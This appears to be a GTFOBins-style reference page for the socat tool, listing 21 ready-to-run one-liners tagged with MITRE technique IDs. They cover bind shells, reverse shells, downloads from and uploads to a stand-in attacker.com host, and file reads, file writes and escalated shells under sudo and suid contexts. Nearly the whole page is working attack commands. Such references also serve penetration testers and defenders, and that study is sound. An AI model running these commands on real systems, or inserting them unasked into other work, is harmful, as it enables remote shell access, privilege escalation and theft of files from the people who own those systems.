GTFO · Tool

socat

21 techniquesLinuxGTFOBinsGPL-3.0

bind-shell

Reverse/Bind ShellPrivilege EscalationLinux

socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: bind-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/socat/

bind-shell

Reverse/Bind ShellPrivilege EscalationLinux

socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: bind-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/socat/

bind-shell

Reverse/Bind ShellLinux

socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: bind-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/socat/

download

File DownloadPrivilege EscalationLinux

socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/socat/

download

File DownloadPrivilege EscalationLinux

socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/socat/

download

File DownloadLinux

socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: download
MITRE: T1105
Refs: gtfobins.github.io/gtfobins/socat/

file-read

File ReadPrivilege EscalationLinux

socat -u file:/path/to/input-file -

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/socat/

file-read

File ReadPrivilege EscalationLinux

socat -u file:/path/to/input-file -

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/socat/

file-read

File ReadLinux

socat -u file:/path/to/input-file -

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-read
MITRE: T1005
Refs: gtfobins.github.io/gtfobins/socat/

file-write

File WritePrivilege EscalationLinux

The `echo` command is actually used.

socat -u 'exec:echo DATA' open:/path/to/output-file,creat

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/socat/

file-write

File WritePrivilege EscalationLinux

The `echo` command is actually used.

socat -u 'exec:echo DATA' open:/path/to/output-file,creat

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/socat/

file-write

File WriteLinux

The `echo` command is actually used.

socat -u 'exec:echo DATA' open:/path/to/output-file,creat

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: file-write
MITRE: T1565
Refs: gtfobins.github.io/gtfobins/socat/

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux

socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/socat/

reverse-shell

Reverse/Bind ShellPrivilege EscalationLinux

socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/socat/

reverse-shell

Reverse/Bind ShellLinux

socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: reverse-shell
MITRE: T1059 T1071
Refs: gtfobins.github.io/gtfobins/socat/

shell

ExecutionPrivilege EscalationLinux

socat - exec:/bin/sh,pty,ctty,raw,echo=0

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/socat/

shell

ExecutionPrivilege EscalationLinux

socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/socat/

shell

ExecutionLinux

socat - exec:/bin/sh,pty,ctty,raw,echo=0

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/socat/

upload

File UploadPrivilege EscalationLinux

socat -u file:/path/to/input-file tcp-connect:attacker.com:12345

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/socat/

upload

File UploadPrivilege EscalationLinux

socat -u file:/path/to/input-file tcp-connect:attacker.com:12345

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: suid
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/socat/

upload

File UploadLinux

socat -u file:/path/to/input-file tcp-connect:attacker.com:12345

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: upload
MITRE: T1041
Refs: gtfobins.github.io/gtfobins/socat/